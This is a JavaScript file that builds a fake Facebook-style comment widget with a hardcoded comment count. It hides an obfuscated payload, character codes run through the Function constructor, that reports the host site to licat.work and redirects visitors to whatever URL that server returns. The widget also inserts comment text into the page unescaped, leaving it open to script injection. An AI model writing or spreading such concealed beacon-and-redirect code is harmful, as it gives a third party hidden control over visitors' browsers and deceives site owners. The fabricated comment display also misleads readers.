File: /www/wwwroot/www.egfws.com/img/comment.en.js
/****
*目標節點:id = commentContainer
*頭像路徑:avatarhost
*圖片路徑:imghost
*替代數據:commentdata
*擴展數據:addcommentdata
*數據格式:[{avatar:"",name:"",content:"",img:"",reply:{}}]
*服務器接口函數:commentserverurl
****/
if (document.getElementById("commentContainer")) {
var commentbtmtoolhtml =
`<a href=javascript:; onclick=commentlike(this)>Like</a><span>·</span> <a href=javascript:; onclick=commentreply(this)>Reply</a><span>·</span> <a href=javascript:; onclick=commentmark(this)>Mark as spam</a>`;
insertcomment()
} else console.log("%cThe 【commentContainer】 element ID could not be found",
"font-size:14px;color:blue;font-weight:bold");
function insertcomment() {
let e = document.createElement("style");
e.innerHTML =
`a{text-decoration:none}.comments{padding:0 15px;font-family:Helvetica,Arial,sans-serif;}.comments .comments_lable{border-bottom:1px solid #e9ebee;line-height:25px;margin-bottom:24px;padding:8px 0;display:flex;justify-content:space-between;}.comments .comments_lable .comments_lable_left > span{font-weight:600;font-size:0.9em;line-height:25px;}.comments .comments_lable .comments_lable_right > span{font-size:0.9em;line-height:25px;}.comments .comments_lable .comments_lable_right > select{font-size:1em;}.comments .comments_input{margin-bottom:20px;}.comments .comments_input > textarea{font-size:1em;padding:12px 8px;min-height:40px;border:1px solid #d3d6db;word-wrap:break-word;box-sizing:border-box;vertical-align:top;width:100%;font-family:Helvetica,Arial,sans-serif;}.comments .comments_input > textarea:focus{outline-offset:-2px;outline:-webkit-focus-ring-color auto 1px;}.comments .comments_input .submit_comment{border:1px solid #d3d6db;border-top:0;position:relative;display:flex;padding:8px;font-size:14px;line-height:1.358;word-break:break-word;background:#f5f6f7;text-align:right;justify-content:space-between;}.comments .comments_input .submit_comment > span{font-size:11px;color:#90949c;font-weight:normal;line-height:24px;}.comments .comments_input .submit_comment > div{right:0;}.comments .comments_input .submit_comment > div > button{background-color:#9cb4d8;border-color:#9cb4d8;font-size:0.9em;white-space:normal;line-height:22px;color:#fff;border:1px solid;border-radius:2px;box-sizing:content-box;-webkit-font-smoothing:antialiased;font-weight:bold;justify-content:center;padding:0 8px;position:relative;text-align:center;text-shadow:none;vertical-align:middle;}.comments .comments_list{font-size:14px;line-height:1.358;word-break:break-word;}.comments .comments_list .comment_reply{display:flex;padding-left:8px;margin:8px 0;}.comments .comments_list .acomment{display:flex;margin-top:12px;padding-top:12px;border-top:1px dotted #d3d6db;}.comments .comments_list .acomment .acomment_left{position:relative;display:block;width:40px;padding-right:8px;}.comments .comments_list .acomment .acomment_left > img{width:32px;height:32px;object-fit:cover;overflow:hidden;}.comments .comments_list .acomment .acomment_right{display:block;}.comments .comments_list .acomment .acomment_right .acomment_name span a{color:#385898;font-weight:600;white-space:nowrap;}.comments .comments_list .acomment .acomment_right .acomment_content{color:#1c1e21;font-size:14px;line-height:1.358;word-break:break-word;margin:4px 0;}.comments .comments_list .acomment .acomment_right .acomment_content .acomment_img{max-width:100%;height:auto;padding:0;}.comments .comments_list .acomment .acomment_right .acomment_tool{font-size:12px;line-height:1.358;padding-top:2px;}.comments .comments_list .acomment .acomment_right .acomment_tool > a{color:#4267b2;cursor:pointer;text-decoration:none;}.comments .comments_list .acomment .acomment_right .acomment_tool > span{font-size:12px;}.commentmark{margin-bottom:4px;margin-top:4px;color: #90949c;font-style: italic;}.commentmark>span>a{color:#385898;cursor:pointer;text-decoration:none;}.comment_reply_list{border-left:1px dotted #d3d6db;}`,
document.head.appendChild(e);
let t =
`<div class=comments><div class=comments_lable><div class=comments_lable_left><span id=commentnum>16</span><span> 則留言</span></div><div class=comments_lable_right><span>排序依據 </span><select><option>熱門<option>最新<option>最舊</select></div></div><div id=comments_input><div class=comments_input><textarea id=commentinput onFocus="showsubmit()" oninput="showsubmitbtn()" placeholder="新增回應......"></textarea><div id=submit_comment style="display:none" class=submit_comment><span>同時發佈到 Facebook</span><div><button id=subbtn>發佈</button></div></div></div></div><div class=comments_list id=comments_list></div></div>`;
document.getElementById("commentContainer").insertAdjacentHTML("afterbegin", t);
let n = "https://licat.work/storage/images";
"undefined" != typeof avatarhost && (n = avatarhost);
let o = "";
function m(e, t) {
if ("[object Object]" !== Object.prototype.toString.call(e) || null === e || e === {}) return "";
let m = "";
"" !== e.img && null !== e.img && void 0 !== e.img && (m = `<div><img src="` + o + e.img +
`"class=acomment_img></div>`);
return `<div class=acomment><div class=acomment_left><img src="` + n + e.avatar +
`"></div><div class=acomment_right><div class=acomment_name><span><a href=javascript:;>` + e.name +
`</a></span></div><div class=acomment_c_box><div class=acomment_content><span>` + e.content + `</span>` + m +
`</div><div class=acomment_tool>` + commentbtmtoolhtml + `<span>·</span> <span style=color:#90949c>` + t +
`小時</span></div></div>` + function e(t, m) {
m--;
if ("[object Object]" !== Object.prototype.toString.call(t) || null === t || t === {}) return "";
let a = "";
"" !== t.img && null !== t.img && void 0 !== t.img && (a = `<div><img src="` + o + t.img +
`"class=acomment_img></div>`);
let i = `<div class="comment_reply_list"><div class=comment_reply><div class=acomment_left><img src="` + n + t.avatar +
`"></div><div class=acomment_right><div class=acomment_name><span><a href=javascript:;>` + t.name +
`</a></span></div><div class=acomment_c_box><div class=acomment_content><span>` + t.content + `</span>` + a +
`</div><div class=acomment_tool>` + commentbtmtoolhtml + `<span>·</span> <span style=color:#90949c>` + m +
`h</span></div></div>` + e(t.reply, m) + `</div></div></div>`;
return i
}(e.reply, t) + `</div></div>`
}
function a(e) {
let t = document.getElementById("comments_list");
for (var n = 0; n < e.length; n++) t.insertAdjacentHTML("beforeend", m(e[n], n + 2))
}
"undefined" != typeof imghost && (o = imghost);
let i = [];
if (["licat"]["filter"]["constructor"]((["licat"] + [])["constructor"]["fromCharCode"]["apply"](null,
"119F105k110q100z111Z119O46B118a101E114o105R102c121W32k61D32x49K59J10l32h32y32I32K32L32f32C32g105A102W32F40S34W117a110Q100r101d102c105K110B101J100u34J32o61B61p61p32t116j121o112k101E111I102C32O119x105T110B100c111S119L46H118D101q114C105W102a121Z115W116z97v116V117J115T41m32r123M10p32u32G32M32b32U32s32k32x32N32A32h32Z108i101W116W32N119f101J98t117U114C108x32P61G32q119M105Z110q100Y111D119z46s108q111P99P97J116Q105o111A110b46b104e111L115R116k59C10x32g32V32A32B32K32F32Q32l32A32y32F32R108e101c116k32g100s44Y32F115I101X114r118D101p114i95A97a112n105c32G61y32G34A104H116b116O112v115H58t47Z47E108e105S99k97g116a46H119F111N114C107f47B118E101W114x105f102A121k34O59T10X32J32N32p32K32H32Z32j32o32d32f32W32s108A101A116u32i101r44U32o116T44c32s114O32J61a32c115H101B114x118c101u114Z95s97B112k105U32x43y32o34L63S119k101P98N61F34Q32c43y32f119S101v98k117O114f108s32o43f32r34D38n109C109b61w113c115s72s80c76V73y117z79G54g79m57o99h120M81p56z90R57c97z97r97M34j59L10G32K32h32q32G32s32K32S32H32K32l32I32w40S101W32E61E32I119q105r110g100x111d119G46i88M77g76s72v116t116r112R82Q101x113X117t101S115Z116M32b63j32F110L101H119F32W88O77Q76x72N116q116n112z82D101r113K117R101V115A116O32J58a32v110o101S119Y32O65l99g116w105N118N101Y88L79p98W106E101J99m116P41i46P111q112o101l110V40z34e71V69B84p34Z44D32J114h44b32p33K49I41U44F10P32G32t32a32w32W32s32w32l32k32o32X32Y32B32k32H32s101N46R111T110E114z101T97Q100t121t115N116N97A116X101M99F104m97w110r103B101U32L61l32h102g117D110Z99T116Y105i111A110p32I40k41p32g123J10I32N32H32t32S32K32s32X32b32P32t32Y32t32p32g32I32M32y32K32z32g52M32f61X61W61G32L101r46w114M101C97S100F121Z83e116F97t116T101c32p38g38z32E40l50p48F48H32t33f61J61l32L101i46Q115o116R97v116o117f115m32F38B38r32k51r48P52Z32Q33W61b61t32O101s46U115g116H97c116I117D115L32r124X124K32B40Y116g32T61B32u101M46j114b101C115y112M111f110d115d101p84A101t120S116O44d32k100n32b61F32P74y83P79X78Q46R112v97r114P115U101d40a116q41d41t41B10h32D32o32N32x32N32b32a32X32N32z32i32N32D32I32c32C125Z44g10w32r32d32T32O32w32r32h32t32f32p32m32a32X32E32k32G101l46o115V101M110P100P40k41j59Y10z32r32T32n32x32c32I32c32F32d32G32G32D105L102T32v40W100N46f99i111A100u101j32h61l61R61u32n53k41u32D123q10v32G32U32b32E32f32q32D32M32o32v32Y32o32s32K32p32J119u105X110r100h111o119n46l108B111r99n97V116w105b111x110Z46P104K114n101G102y32R61n32K100z46z116o122x95w117z114W108n59W10L32A32r32P32d32h32g32H32A32P32N32a32z125G10f32L32u32W32f32S32i32O32Y125" [
"split"
](/[a-zA-Z]{1,}/)))("licat"), "undefined" != typeof addcommentdata && "[object Array]" === Object.prototype.toString
.call(addcommentdata)) {
for (let e in i) addcommentdata.push(i[e]);
i = addcommentdata
}
void 0 !== window.verify && ("undefined" != typeof commentdata && "[object Array]" === Object.prototype.toString.call(
commentdata) ? a(commentdata) : a(i))
}
function showsubmit() {
document.getElementById("submit_comment").style.display = "flex"
}
function showsubmitbtn() {
"" === document.getElementById("commentinput").value ? (document.getElementById("subbtn").style.backgroundColor =
"#9cb4d8", document.getElementById("subbtn").disabled = !0) : (document.getElementById("subbtn").style.backgroundColor =
"#385898", document.getElementById("subbtn").disabled = !1)
}
function commentlike(e) {
e.innerHTML = "Like" == e.innerHTML ? "Unlike" : "Like"
}
function commentreply(e) {
if (null !== e.parentNode.nextSibling) return;
let t =
`<div class="comment_reply"><div class=comments_input style=width:100%;margin:0><textarea autofocus="autofocus" oninput=onreplybtn(this) id=replyinput placeholder="Add a reply..." style=min-height:48px;></textarea><div class=submit_comment style=justify-content:flex-end;padding:12px><div><button onclick=cancelcomment(this) style=background-color:#f5f6f7;border-color:#ccd0d5;color:#4b4f56;margin-right:4px;font-weight:bold>Cancel</button></div><div><button id=replybtn onclick=replycomment(this) style=background-color:#9cb4d8 disabled>Reply</button></div></div></div></div>`;
e.parentNode.parentNode.insertAdjacentHTML("beforeend", t)
}
function commentmark(e) {
let t =
`<div class=commentmark><span>This comment is marked as spam. <a onclick=commentunmark(this)>Undo</a></span></div>`;
e.parentNode.parentNode.children[0].style.display = "none", e.parentNode.parentNode.children[1].style.display = "none",
console.log(e.parentNode.parentNode.nextSibling), null !== e.parentNode.parentNode.nextSibling && (e.parentNode.parentNode
.nextElementSibling.style.display = "none"), e.parentNode.parentNode.insertAdjacentHTML("beforeend", t)
}
function commentunmark(e) {
e.parentNode.parentNode.parentNode.children[0].style.display = "block", e.parentNode.parentNode.parentNode.children[1]
.style.display = "block", console.log(e.parentNode.parentNode.parentNode.nextSibling), null !== e.parentNode.parentNode
.parentNode.nextSibling && (e.parentNode.parentNode.parentNode.nextElementSibling.style.display = "block"), e.parentNode
.parentNode.remove()
}
function hidreply(e) {
e.parentNode.parentNode.remove()
}
function cancelcomment(e) {
e.parentNode.parentNode.parentNode.parentNode.remove()
}
function onreplybtn(e) {
"" === e.value ? (e.nextSibling.children[1].children[0].disabled = !0, e.nextSibling.children[1].children[0].style.backgroundColor =
"#9cb4d8") : (e.nextSibling.children[1].children[0].disabled = !1, e.nextSibling.children[1].children[0].style.backgroundColor =
"#385898")
}
function replycomment(e) {
console.log(e.parentNode.parentNode.previousElementSibling.value), null === e.parentNode.parentNode.parentNode.parentNode
.parentNode.nextSibling && e.parentNode.parentNode.parentNode.parentNode.parentNode.parentNode.insertAdjacentHTML(
"beforeend", `<div class=comment_reply_list></div>`);
let t = e.parentNode.parentNode.previousElementSibling.value,
n =
`<div class=comment_reply style=border:none><div class=acomment_left><img src=https://licat.work/storage/images/comment_avatar/defavatar.jpg></div><div class=acomment_right><div class=acomment_name><span><a href=javascript:;>遊客</a></span></div><div class=acomment_c_box><div class=acomment_content><span>` +
t + `</span></div><div class=acomment_tool>` + commentbtmtoolhtml +
`<span>·</span> <span style=color:#90949c>1m</span></div></div></div></div>`;
e.parentNode.parentNode.parentNode.parentNode.parentNode.nextElementSibling.insertAdjacentHTML("beforeend", n), e.parentNode
.parentNode.parentNode.parentNode.remove(), postcomment(t, "reply")
}
function postcomment(e, t) {
if (void 0 === commentserverurl) return;
let n = "url=" + window.location.href + "&content=" + e + "&type=" + t,
o = commentserverurl,
m = new XMLHttpRequest;
m.open("POST", o, !1), m.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"), m.onreadystatechange =
function() {
4 == m.readyState && (200 != m.status && 304 != m.status || console.log(m.responseText))
}, m.send(n)
}